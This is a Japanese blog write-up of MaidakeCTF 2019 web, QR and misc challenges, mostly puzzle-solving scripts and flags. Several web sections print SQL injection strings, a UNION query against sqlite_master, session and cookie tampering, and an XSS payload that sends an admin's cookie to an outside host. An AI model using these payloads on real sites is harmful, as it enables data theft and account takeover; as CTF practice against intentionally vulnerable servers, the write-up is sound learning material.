st98 の日記帳


[ctf] MaidakeCTF 2019 の write-up

ひとりチーム st98 で MaidakeCTF 2019 に参加しました。最終的に 58 問を解いて 14610 点を獲得し、順位は 1 点以上を獲得した 87 人中 3 位でした。

以下、解いた問題の write-up です。

Web

White flag (50)

いやいや、勘弁してくださいよ。真っ白じゃないですか。

(URL)

与えられた URL にアクセスすると…何も表示されません。右クリックすると「おっと、右クリックはさせませんよ?」というメッセージが表示されることから、ソースにフラグがあるのでしょう。URL の頭に view-source: を追加してソースを確認するとフラグが得られました。

<section class="bs-docs-section clearfix">
		<div class="row">
			<div class="col-12">
				<div style="font-size: 2rem;" class="text-center">
					<p>MaidakeCTF{White_strings_can_be_seen_by_reversing}</p>
				</div>
			</div>
		</div>
	</section>
MaidakeCTF{White_strings_can_be_seen_by_reversing}

2048 (100)

あなたはこれを素直に解きますか?

(URL)

与えられた URL にアクセスすると、2048 のゲーム画面が表示されました。ソースで MaidakeCTF{ を検索すると、ゲームの終了時にフラグを表示する処理が見つかりました。


		if(isOver) {
			name = window.prompt("お疲れ様でした!\nMaidakeCTF{Do_not_be_fooled_by_the_look}\n\nランキングに参加できます。\nユーザー名を入力してください。\n※参加しない場合は何も入力せずにOKを押してください。", "");
			if (name != '') {
				$.post('ranking.php', {'name': name, 'score': score, 'max': max_num.textContent}).done(function(data) {
					document.getElementById("ranking").innerHTML = data;
				});
			}
			name = '';
		}

MaidakeCTF{Do_not_be_fooled_by_the_look}

Baked goods (100)

焼き菓子は好きですか?

(URL)

与えられた URL にアクセスすると、背景がクッキーの画像になっているページが表示されました。Cookie を確認すると、flag=MaidakeCTF%7BBeware_of_cookie_theft%7D がセットされていました。

MaidakeCTF{Beware_of_cookie_theft}

Not hiding (100)

頭隠して尻隠さず。

(URL)

与えられた URL にアクセスすると、The flag is indeed there. と表示されました。このページの HTML とこれまでの Web 問の HTML と比較してみると、head<link rel="stylesheet" href="css/style.css"> が追加されているのが分かります。css/style.css にアクセスするとフラグが得られました。

MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}

Usual (100)

いつものやつですが、もしかすると少し違うかもしれません。

(URL)

与えられた URL にアクセスすると、次のようなログインフォームが表示されました。

	<section class="bs-docs-section clearfix">
		<div class="row">
			<div class="col-12">
				<form method="post">
					<div class="form-group">
					<input type="text" class="form-control mb-2 w-75 mx-auto" name="id" placeholder="ID" required />
					<input type="password" class="form-control mb-2 w-75 mx-auto" name="pass" placeholder="パスワード" required />
					</div>
										<p class="text-center"><button type="submit" class="w-50 py-2 mt-2" name="login">ログイン</button></p>
				</form>
			</div>
		</div>
	</section>

ログインフォームと聞いてまず試すのは SQLi です。ID に ' or 1;# を入力するとフラグが得られました。

MaidakeCTF{Speaking_of_SQL_injection_is_this}

XSS Alert (150)

XSSのデモページを作ってみました。

別にアラートじゃなくても大丈夫です!
お好きな攻撃をどうぞ!!

(URL)

与えられた URL にアクセスすると、次のようなフォームが表示されました。

	<section class="bs-docs-section clearfix">
		<div class="row">
			<div class="col-12">
				<p class="text-center mb-5">なんでもいいのでXSSしてください。</p>
				<form method="get">
					<input type="text" class="form-control mb-2 w-75 mx-auto" name="attack" placeholder="" required />
					<p class="text-center"><button type="submit" class="w-50 py-2 mt-2">攻撃</button></p>
				</form>
				<p class="text-center">攻撃内容:
					<span id="a_text">
											</span>
				</p>
			</div>
		</div>
	</section>

とりあえず <script></script> を入力してみると、フラグが表示されました。

MaidakeCTF{Escape_is_a_simple_but_important_process}

Agent (200)

あなたはどのブラウザがお気に入りですか?

(URL)

与えられた URL にアクセスすると、次のような PHP コードの断片が表示されました。

	$agent = $_SERVER['HTTP_USER_AGENT'];

	if (strpos($agent, 'Milvas') !== false) {
		echo 'FLAG is here';
	} else {
		echo 'Access Denied';
	}

ユーザーエージェントに Milvas が入っていればフラグが表示されるようです。curl (URL) -A Milvas を実行するとフラグが得られました。

$ curl (URL) -A Milvas
︙
                                <p class="text-center mt-5">
                                MaidakeCTF{Impersonating_user_agents_is_so_easy}                                </p>
︙
MaidakeCTF{Impersonating_user_agents_is_so_easy}

No form (200)

すみません、フォームを作り忘れてしまいました。

(URL)

与えられた URL にアクセスすると、次のような PHP コードの断片が表示されました。

	if (isset($_POST['oluri'])) {
		if ($_POST['oluri'] === 'so_cute') {
			echo 'Flag is here';
		} else {
			echo 'Do you know Oluri?';
		}
	} else {
		echo 'Access Denied';
	}

curl (URL) -d oluri=so_cute を実行するとフラグが得られました。

$ curl (URL) -d oluri=so_cute
︙
                                <p class="text-center mt-5">
                                MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}                            </p>
︙
MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}

Hijack (300)

このままだとハイジャックされてしまいます!!

(URL)

与えられた URL にアクセスすると Access denied と表示されました。HTML を見ると、次のようなコメントが DOCTYPE 宣言の前に挿入されていました。

<!-- 8b24jmfhfhssgig2q9n7ockjl7 -->

PHP のセッション ID っぽい文字列です。Cookie の PHPSESSID にこれをセットしてリロードするとフラグが表示されました。

MaidakeCTF{Session_management_must_be_done_with_care}

Kancolle Engine (400)

艦娘のMD5を検索できるサイトを作ってみました!

(URL)

ヒント: sqlite3を使用しています

与えられた URL にアクセスすると、次のような検索フォームが表示されました。

	<section class="bs-docs-section clearfix">
		<div class="row">
			<div class="col-xl-12">
				<form method="post">
					<div class="form-group">
					<input type="text" class="form-control mb-2 w-75 mx-auto" name="name" placeholder="ex) 榛名" required />
					</div>
					<p class="text-center"><button type="submit" class="w-50 py-2 my-2" name="search">検索</button></p>
									</form>
			</div>
		</div>
	</section>

試しに % で検索してみると、以下のようなテーブルが表示されました。

図鑑No. 艦名 艦種 次改造レベル MD5
001 長門 戦艦 30 a8529a1bdc2a7f517cffa2f0ed191d39
001b 長門改 戦艦 88 7383436fa5b81c024ad33f053f856b6c

恐らく LIKE 句にユーザ入力を突っ込んでいるのでしょう。SQLi ができると考えて ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# を入力してみると、以下のようなテーブルが表示されました。

図鑑No. 艦名 艦種 次改造レベル MD5
1 3 4 5 11

これを利用して存在しているテーブルの一覧を手に入れましょう。ヒントから SQLite が使われていることがわかっているので、sqlite_master テーブルの sql カラムを抽出します。' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# を入力すると、以下のようなテーブルが表示されました。

図鑑No. 艦名 艦種 次改造レベル MD5
CREATE TABLE flag( this_is_flag ) 3 4 5 11
CREATE TABLE ship( num TEXT, romaji TEXT, name TEXT, type TEXT, level TEXT, item TEXT, equipment1 TEXT, equipment2 TEXT, equipment3 TEXT, equipment4 TEXT, md5 TEXT ) 3 4 5 11

flag テーブルにフラグがありそうです。' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;# を入力すると、以下のようなテーブルが表示されました。

図鑑No. 艦名 艦種 次改造レベル MD5
MaidakeCTF{Use_question_mark_placeholders_when_calling_SQL} 3 4 5 11

フラグが得られました。

MaidakeCTF{Use_question_mark_placeholders_when_calling_SQL}

Haiku contest (500)

俳句はお好きですか?

(URL)

与えられた URL にアクセスすると、登録/ログインフォームが表示されました。とりあえず適当にアカウントを作ってログインすると、俳句を入力できるフォームが表示されました。俳句の採点もできるようで、依頼すると管理者のブラウザでの巡回が来そうです。

<s>neko</s> という俳句を投稿してみると、斜線の入った neko が表示されました。XSS できるようです。とりあえず管理者の Cookie が抜けないか試してみましょう。<script>(new Image).src='http://(URL)/?'+document.cookie</script> という俳句を投稿して採点してもらうと、GET /?flag=MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen} という HTTP リクエストが来ました。

MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}

Maze (400)

ちょっと!
これゴールにたどり着けないんだけど!!(# ゚Д゚)

(URL)

与えられた URL にアクセスすると、迷路が表示されました。問題文から、もしゴールできればフラグが手に入れられそうな雰囲気があります。ソースコードのゴール時の処理を確認しましょう。


	function goal() {
		sg();
		if (x == 32 && y == 29) {
			$.post('result.php').done(function(data) {
				alert(data);
			});
		}
	}

result.php にアクセスするとフラグが表示されました。

MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}

QR

A little missing (100)

QRコードを洗濯したら読めなくなってしまいました。

添付ファイル: problem.png

次のような画像が与えられました。

欠けとる

QR コードのようですが、3 つの隅にあるはずの位置検出パターンがありません。適当な画像編集ソフトで位置検出パターンを追加すると QR コードとして読むことができました。

$ zbarimg solved.png
QR-Code:MaidakeCTF{restoring_qr_code_corners_is_easy}
scanned 1 barcode symbols from 1 images
MaidakeCTF{restoring_qr_code_corners_is_easy}

white or black (200)

これは一体何でしょうか。どこか見覚えがあるような気がします。

添付ファイル: flag.csv

flag.csv は以下のような内容でした。

0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0
0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0
0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,1,0,1,0
0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0
0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0
0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0
0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0
0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0
︙

カテゴリからこれが QR コードを意味することはわかっています。0 は白、1 は黒として画像にしてみましょう。

from PIL import Image
with open('flag.csv') as f:
  s = f.readlines()

w, h = len(s), len(s)
im = Image.new('RGB', (w, h))
pix = im.load()

for y in range(h):
  line = s[y].split(',')
  for x in range(w):
    pix[x, y] = (0, 0, 0) if line[x] == '1' else (255, 255, 255)

im.resize((w * 10, h * 10)).save('res.png')

QR コードが出てきた

これを読み込むとフラグが得られました。

MaidakeCTF{qr_codes_can_be_represented_as_0_and_1_but_it_is_hard_to_enter_them_manually.}

Three codes (300)

ちょっと気持ち悪い画像ですね。

添付ファイル: flag.png

次のような画像が与えられました。

カラフルだ

stegsolve.jar で RGB の赤色だけ/緑色だけ/青色だけを抽出すると、次のように 3 つの QR コードが出てきました。

赤
緑
青

RGB の順番で読み取るとフラグが得られました。

$ zbarimg red.png green.png blue.png
QR-Code:First:MaidakeCTF{
QR-Code:Second:Images_can_be_
QR-Code:Third:represented_in_RGB}
scanned 3 barcode symbols from 3 images
MaidakeCTF{Images_can_be_represented_in_RGB}

Barely (300)

元祖は強い。

添付ファイル: flag.jpg

普通の写真かと思いきや、以下のようにモニタに QR コードが映し出されている画像が与えられました。

隠れとる

以下のように雑にテキストに直し、

XXXXXXX_X_____XXXXX____X__XXXXXXX
X_____X__X_XX____X_XX_X___X_____X
X_XXX_X__X_X_X_X_____XX_X_X_XXX_X
X_XXX_X_XXXX__X__XXXX___X_X_XXX_X
X_XXX_X_X_XXXXX___XXX__X__X_XXX_X
X_____X_X____X__X__X_X____X_____X
XXXXXXX_X_X_X_X_X_X_X_X_X_XXXXXXX
________X__XX_XXXXX__X_XX________
X___X_XXXXXXX____X_XXXX_XXXXXX__X
XXX_X__X____XXXXX_X____X_XXX__X_X
XXX_X_X___XXX__X_X__XX_X_XX_X__X_
_XXXX___XX_X__X__XXXXX_XXXX_X__X_
_X__X_X__XX__XXX__XXXX?X__XX____X
_XXX___X_XXX_X__XX_X_XX??????????
XX_X_XXX___XX_X_X_XX__X??????????
X__X_X_XX_XX_XX__X_XXXX??????????
X_XX_XXXX_X_X_XXX_____X??????????
X_X__X__X_X__X__XX____X??????????
X__X__X_XXXXXX_X__X_X_X??????????
__X_XX_XXXX_XX_X___XXXX??????????
_X___XXXX_X__X__X____XX??????????
X_XX_X_XXXXX_XX__XXXXXX??????????
__X_XXX___XXXXXX__X_X__??????????
____XX__X___X__XXXX__X_??????????
XXXX__X__X______XX_X_XX??????????
________X___X__XX__X_X_??????????
XXXXXXX_X___X_XX_X___X_??????????
X_____X___XX__X__XX_XX_??????????
X_XXX_X_XX__XX_X__XXX__??????????
X_XXX_X____XX_X_XX_X_X_??????????
X_XXX_X__X__XXX_XX_X_XX??????????
X_____X____XX_X__XXXXX_??????????
XXXXXXX_XXX_X_XX_X___XX??????????

デコードするとフラグが得られました。

MaidakeCTF{Lock_it_when_you_leave_your_computer}

QR Puzzle (300)

私はスライドパズルが苦手です。

(URL)

与えられた URL にアクセスすると、次のような QR コードの 8 パズルが表示されました。

8 パズル

右下に空白が来ている状態で送信ボタンを押すと、最後のピースが空白部分に表示されます。左上、右上、左下に位置検出パターンが、右下にアライメントパターンが来ることを考えると、残りの 5 つのピースは総当たりで QR コードとして読めるパターンを探せば十分そうです。

全てのピースをダウンロードし、総当たりするスクリプトを書きます。

import itertools
from PIL import Image

images = []
for i in range(1, 10):
  images.append(Image.open('puzzle/{}.png'.format(i)))

"""
3?5
???
7?9
"""
for i, x in enumerate(itertools.permutations([1, 2, 4, 6, 8], 5)):
  p = (3, x[0], 5) + x[1:4] + (7, x[4], 9)
  im = Image.new('RGB', (330, 330))
  for j, k in enumerate(p):
    im.paste(images[k - 1], (110 * (j % 3), 110 * (j // 3)))
  im.save('result/{}.png'.format(i))

print('done')
$ python solve.py
done

zbarimg result/*.png で片っ端から読んでいくとフラグが得られました。

$ zbarimg result/*.png
QR-Code:MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}
scanned 1 barcode symbols from 120 images
MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}

QR Puzzle 2nd (400)

自力で解くのはこれぐらいが限界かもしれません(ストレス的な問題で)。

(URL)

QR Puzzle が 15 パズルになりました。

大変そう

適当なピースを見ていくと、

  1. バラバラにされる前の QR コードは四隅に余白があるので、ピースが来る位置はある程度推測できる
  2. 各セルのサイズは 12 ピクセル * 12 ピクセルで余白は 12 ピクセルだが、各ピースのサイズは 117 ピクセル * 117 ピクセルで、1 つのセルが複数のピースにまたがることがある

ことが分かります。

puzzle 12

これを利用して、上下左右の端に来るピースの位置だけ考えて、真ん中の 4 ピースは先程と同様に総当たりで QR コードとして読めるパターンを探しましょう。

import itertools
from PIL import Image

images = []
for i in range(1, 17):
  images.append(Image.open('puzzle/{}.png'.format(i)))

"""
11  1 15 12
 8 ?? ??  6
 7 ?? ??  2
 4 14  3 16
"""
for i, x in enumerate(itertools.permutations([9, 10, 13, 5], 4)):
  p = (11, 1, 15, 12, 8) + x[:2] + (6, 7) + x[2:] + (2, 4, 14, 3, 16)
  im = Image.new('RGB', (117 * 4, 117 * 4))
  for j, k in enumerate(p):
    im.paste(images[k - 1], (117 * (j % 4), 117 * (j // 4)))
  im.save('result/{}.png'.format(i))

print('done')
$ python solve.py
done
$ zbarimg result/*.png
QR-Code:MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}

フラグが得られました。

MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}

QR Puzzle 3rd (500)

最後の刺客が現れました。

しかし私はもう限界です。
そうだ、援軍を呼ぼう。

(URL)

QR Puzzle が更にパワーアップし、24 パズルになりました。

やばそう

やることは QR Puzzle 2nd と変わりません。むしろ、QR コードが巨大になったことでアライメントパターンが増えて楽になっています。総当たりが現実的になる程度までピースの位置を自分で推測し、同様に総当たりで QR コードとして読めるパターンを探しましょう。

import itertools
from PIL import Image

images = []
for i in range(1, 26):
  images.append(Image.open('puzzle/{}.png'.format(i)))

"""
22  7 19 20 12
13 16 23 11 10
 6 ?? 15 ?? 18
14 ?? ?? ?? 21
17  4  3 24 25
"""
for i, x in enumerate(itertools.permutations([1, 2, 5, 8, 9], 5)):
  p = (22, 7, 19, 20, 12, 13, 16, 23, 11, 10, 6, x[0], 15, x[1], 18, 14) + x[2:] + (21, 17, 4, 3, 24, 25)
  im = Image.new('RGB', (122 * 5, 122 * 5))
  for j, k in enumerate(p):
    im.paste(images[k - 1], (122 * (j % 5), 122 * (j // 5)))
  im.save('result/{}.png'.format(i))

print('done')
$ python solve.py
done
$ zbarimg result/*.png
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
︙

フラグが得られました。

MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}

QR Puzzle Final (600)

裏ボスがいるのはお約束です。
3×3なのでサクッと倒してしましましょう!

(URL)

最初の QR Puzzle と同じような 8 パズルが表示されました。手で解いて zbarimg で読み取ってみましょう。

$ zbarimg qr.png
QR-Code:4910b4bb34215367afd5e281954b1f6d
scanned 1 barcode symbols from 1 images

ハッシュ値っぽい文字列が表示されました🤔 MD5 ハッシュと考えて John the Ripper に投げてみましたが、適当な辞書を使ってもこのハッシュ値になる文字列が出てきません。

まさかと思い /4910b4bb34215367afd5e281954b1f6d/ にアクセスしてみると、さっきのものとは別の 8 パズルが表示されました。どうやら 8 パズルを解き続ける必要があるようです。

手で解くのも面倒なので自動化する方法を考えます。いろいろ調べていると、どのパズルもピースとなる 1.png から 9.png まで以下のような順番で並べるのが正解となることがわかりました。

123
456
789

あとはやるだけです。ピースのダウンロードから並び替え、QR コードの読み取りまで自動でやってくれる Python スクリプトを書きましょう。

import re
import requests
import subprocess
from PIL import Image

URL = 'http://(省略)/'
curr = ''

while True:
  print(curr)

  images = []
  for i in range(1, 10):
    with open('puzzle/{}.png'.format(i), 'wb') as f:
      f.write(requests.get(URL + curr + '/puzzle/' + str(i) + '.png').content)
    images.append(Image.open('puzzle/{}.png'.format(i)))

  im = Image.new('RGB', (330, 330))
  for i in range(9):
    im.paste(images[i], (110 * (i % 3), 110 * (i // 3)))

  im.save('tmp.png')
  r = subprocess.check_output(['zbarimg', 'tmp.png'])
  print(r)
  curr = re.findall(rb'QR-Code:(.{32})', r)[0].decode()

実行します。

$ python solve.py
b'QR-Code:4910b4bb34215367afd5e281954b1f6d\r\n'
4910b4bb34215367afd5e281954b1f6d
scanned 1 barcode symbols from 1 images
b'QR-Code:8abff30cf8f357c013f89f4ef75a917d\r\n'
8abff30cf8f357c013f89f4ef75a917d
scanned 1 barcode symbols from 1 images
b'QR-Code:ecc2c912df78207581af9fd0f26cf7e9\r\n'
ecc2c912df78207581af9fd0f26cf7e9
scanned 1 barcode symbols from 1 images
︙
b"QR-Code:MaidakeCTF{I_don't_know_why_I_made_many_QR_code_problem}\r\n"

フラグが得られました。

MaidakeCTF{I_don't_know_why_I_made_many_QR_code_problem}

Misc

Welcome (10)

ようこそMaidakeCTFへ。楽しんでいってください。
flagは

MaidakeCTF{Maidake_mountain_villa_is_rich_in_nature_and_the_best}

です。

MaidakeCTF{Maidake_mountain_villa_is_rich_in_nature_and_the_best}

Hex (50)

見覚えのある数字ですね。

添付ファイル: flag

flag は以下のような内容でした。

4d 61 69 64 61 6b 65 43 54 46 7b 48 65 78 61 64 65 63 69 6d 61 6c 5f 6e 75 6d 62 65 72 73 5f 61 72 65 5f 66 72 65 71 75 65 6e 74 6c 79 5f 75 73 65 64 5f 69 6e 5f 74 68 69 73 5f 69 6e 64 75 73 74 72 79 7d

hex として読みましょう。

$ python2
>>> print open('flag').read().replace(' ', '').decode('hex')
MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}

フラグが得られました。

MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}

Strong line (150)

いつも見ている線よりも強そうな気がします。

(URL)

与えられた URL にアクセスすると、次のようなバーコードが表示されました。

バーコード

zbarimg に投げるとフラグが得られました。

$ zbarimg code.png
CODE-128:MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}
scanned 1 barcode symbols from 1 images
MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}

Turtle speed (200)

Turtle speed

(URL)

与えられた URL にアクセスすると、激遅な marquee でモールス信号が流れてきました。待つのは面倒なので、別の方法を探しましょう。ソースを見ると、次のような HTML でこれが実現されていることが分かりました。

<marquee bgcolor="#FFF" scrollamount="1"><font color="#000">ーー ・ー ・・ ー・・ ・ー ー・ー ・ ー・ー・ ー ・・ー・ ー・ーー・ ・ーー・ ・ ーーー ・ーー・ ・ー・・ ・ ・・ーー・ー ・ーー ・・・・ ーーー ・・ーー・ー ー・ー・ ・ー ー・ ・・ーー・ー ・・ー ー・ ー・・ ・ ・ー・ ・・・ ー ・ー ー・ ー・・ ・・ーー・ー ーー ーーー ・ー・ ・・・ ・ ・・ーー・ー ー・ー・ ーーー ー・・ ・ ・・ーー・ー ・ーーー ・・ー ・・・ ー ・・ーー・ー ー・・・ ー・ーー ・・ーー・ー ・・・ ーーー ・・ー ー・ ー・・ ・・ーー・ー ・ー ・ー・ ・ ・・ーー・ー ・ー ーー ・ー ーー・・ ・・ ー・ ーー・ ー・ーー・ー</font></marquee>

'…'.replace(/./g, c => ({' ': ' ', 'ー': '-', '・': '.'}[c])) で ASCII の範囲内に変換し、適当なツールでデコードするとフラグが得られました。

MaidakeCTF{PEOPLE_WHO_CAN_UNDERSTAND_MORSE_CODE_JUST_BY_SOUND_ARE_AMAZING}

A walking cat (200)

この猫は何だかムカつく顔をしています。

添付ファイル: problem.sb3

sb3 という拡張子でググってみると、これは Scratch のプロジェクトであるとわかりました。Scratch Desktop でこれを開くと、次のようなプログラムが表示されました。

Scratch プログラム

表示される hex を書きとめ、デコードするとフラグが得られました。

MaidakeCTF{I_want_to_keep_cat}

Condensed image (200)

速過ぎて読めません。

添付ファイル: flag.gif

与えられた GIF を開いてみると、凄まじい速さで 1 文字ずつフラグが表示されました。stegsolve.jar を使って各フレームを確認するとフラグが得られました。

MaidakeCTF{gif_has_more_than_one_picture_concatenated}

Let’s Janken (200)

あなたは何連勝することができますか?

(URL)

与えられた URL にアクセスすると、「グー」「チョキ」「パー」の 3 つのボタンが表示されました。どうすればフラグが表示されるかソースを確認してみると、次のような処理が見つかりました。

	// 連勝数が1000を越えたらflagをゲット
	if (victory >= 1000) {
		$.post('flag.php', victory).done(function(data) {
			document.getElementById("flag").innerHTML = data;
		});
	} else {
		document.getElementById("flag").innerHTML = "<font style=\"font-size: 2rem; color: #FF0000;\">"+victory+"</font>連勝中です。";
	}

curl (省略)/flag.php -d 1000 で終わり…かと思いきや、残念!直接見に来ても無駄ですよ~ と怒られてしまいました。

victory がどこから来たか、その前の処理をチェックします。

	var victory = parseInt(document.cookie.split("=")[1]);

なるほど、連勝数は Cookie に保存されているようです。先程のコマンドに -b victory=1000 というオプションを追加するとフラグが得られました。

MaidakeCTF{button_mashing_is_not_the_right_solution}

MD5 (300)

通常MD5の特定は困難ですが、どこかに答えがあるでしょう。

nc (省略)

ヒント: Kancolle Engineにヒント(答え)があります。

与えられた接続情報を使って問題サーバに接続してみましょう。

$ nc (省略)
What is this MD5?

8c42fb899171a808c51a2ac7315c18c3
>>

与えられたハッシュ値になるような文字列を与えればよいようですが、適当な辞書で John the Ripper を走らせてみても見つかりません。ヒントの通り Kancolle Engine で % を入力して 8c42fb899171a808c51a2ac7315c18c3 を検索してみると、これは 伊401 を UTF-8 でエンコードしたバイト列の MD5 ハッシュであることがわかりました。

まず、Kancolle Engine のデータを扱いやすいように JSON 形式にしましょう。

{
  let table = {};
  Array.from(document.getElementsByTagName('tr')).slice(1).forEach(line => {
    let tds = Array.from(line.children);
    table[tds[4].textContent] = tds[1].textContent;
  });
  let json = JSON.stringify(table);
  console.log(json.replace(/[^\x20-\x7e]/g, c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0')));
}

これを Kancolle Engine 上で実行した結果を table.json として保存します。続いて、与えられたハッシュ値に対応する文字列を自動で送信する Python スクリプトを書きます。

import json
from pwn import *

with open('table.json', 'rb') as f:
  table = json.load(f)

s = remote('localhost', 12345)
s.readline()

for _ in range(50):
  s.readline()
  h = s.readline().strip()
  s.readuntil('>>')
  print h, table[h]
  s.sendline(table[h].encode('utf-8'))

s.interactive()

実行しましょう。

$ python2 solve.py
︙
c32d3275efa891fc7d8d4d8f8cdd724f 三日月
9329b6678be766e65032c4e3f63a9540 愛宕
9ecfcff9d008e76e945986f71f50b214 伊504
2f4b70c3ff69667684b6d8842de65880 黒潮
98940568d56e0778a575f51f9ca58e9d 朝風
[*] Switching to interactive mode


Congratulations!
The Flag is MaidakeCTF{CTF_may_hide_hints_for_other_issues}

フラグが得られました。

MaidakeCTF{CTF_may_hide_hints_for_other_issues}

What’s color? (400)

カラフルです。

添付ファイル: flag.csv

flag.csv は以下のような内容でした。

105,105,113,103,103,111,100,100,108,98,98,106,96,96,104,94,94,102,92,91…

このような内容が 750 行続いています。問題文によるとこれが「カラフル」になるようなので、3 つのフィールドをそれぞれ RGB として解釈して、まとめて 1 ピクセルとして扱いましょう。

from PIL import Image
with open('flag.csv') as f:
  s = f.readlines()

w, h = len(s[0].split(',')) // 3, len(s)
im = Image.new('RGB', (w, h))
pix = im.load()

for y in range(h):
  line = s[y].split(',')
  for x in range(w):
    r, g, b = int(line[x * 3]), int(line[x * 3 + 1]), int(line[x * 3 + 2])
    pix[x, y] = r, g, b

im.show()
im.save('flag.png')

これを実行すると、以下のように上部にフラグが書かれている画像が出てきました。

MaidakeCTF{Let's_convert_it_to_an_image_if_you_know_that_it_is_an_RGB_value}

MaidakeCTF{Let's_convert_it_to_an_image_if_you_know_that_it_is_an_RGB_value}

Teleport (500)

夜景が綺麗なところです。

(URL)

与えられた URL にアクセスすると、以下のように特定の座標にいればフラグが表示されるページが表示されました。


function get_location() {
	if (navigator.geolocation) {
		navigator.geolocation.getCurrentPosition(success, error, option);
		function success(position){
			if ((Math.abs(position.coords.latitude-32.7526235) <= 0.003) && (Math.abs(position.coords.longitude-129.8495163) <= 0.003)) {
				$.post('flag.php').done(function(data) {
					document.getElementById('result').innerHTML = data;
				});
			} else {
				document.getElementById('result').innerHTML = 'Access denied';
			}
		}
		function error(error){
			var errorMessage = {
				0: "原因不明のエラーが発生しました。",
				1: "位置情報が許可されませんでした。",
				2: "位置情報が取得できませんでした。",
				3: "タイムアウトしました。",
			};
			document.getElementById('result').innerHTML = errorMessage[error.code];
		}
		var option = {"enableHighAccuracy": true, "timeout": 1000, "maximumAge": 1000,};
	} else {
		alert("現在地を取得できませんでした");
	}
}
get_location();

よく見ると、フラグの表示部分は flag.php に POST して返ってきた内容を #result に出力するのみで、座標の送信等を行わないどころか、そもそも取得した座標はどこにも保存していないことがわかります。DevTools で以下のようなコードを実行するとフラグが得られました。

$.post('flag.php').done(function(data) {
    document.getElementById('result').innerHTML = data;
});
MaidakeCTF{Falsifying_coordinates_is_surprisingly_easy}

Vertical reading (500)

世界旅行に行ってきます。

添付ファイル: flag.csv

flag.csv は以下のような内容でした。

44.8847548,-93.2222825
26.5928022,127.2393831
19.7188342,-155.0416866
25.2531745,55.3656728
61.1758863,-149.9900792
19.736916,-156.0429246
39.9614729,41.1792577
30.1127193,31.3998532
24.6538026,124.6757463
33.5903145,130.4467091
︙

52 個の座標が書かれています。

とりあえず 44.8847548,-93.2222825 でググってみると、これはミネアポリス・セントポール国際空港の座標であることがわかりました。他の座標もほとんどが空港の座標でした。

これらの空港の IATA 空港コードと空港名を並べてみます。

MSP ミネアポリス・セントポール国際空港
AGJ 粟国空港
ITO ヒロ国際空港
DXB ドバイ国際空港
ANC テッド・スティーブンス・アンカレッジ国際空港
KOA コナ国際空港
ERZ エルズルム空港
CAI カイロ国際空港
TRA 多良間空港
FUK 福岡空港
︙

IATA 空港コードの頭文字をつなげると MAIDAKECTF になります。適当にググって出てきた、空港の座標や IATA 空港コード等がまとめられた JSON ファイルの JSON data for airports and their locations を利用して雑にデコードしましょう。

import json

with open('airports.json', 'rb') as f:
  table = json.load(f)

with open('flag.csv', 'rb') as f:
  encrypted = [[float(x) for x in line.decode('utf-8').split(',')] for line in f.readlines()]

res = ''
for lat, lon in encrypted:
  for airport in table:
    if abs(lat - float(airport['lat'])) < 0.03 and abs(lon - float(airport['lon'])) < 0.03:
      res += airport['code'][0]
      break
  else:
    res += '?'

print(res)
$ python solve.py
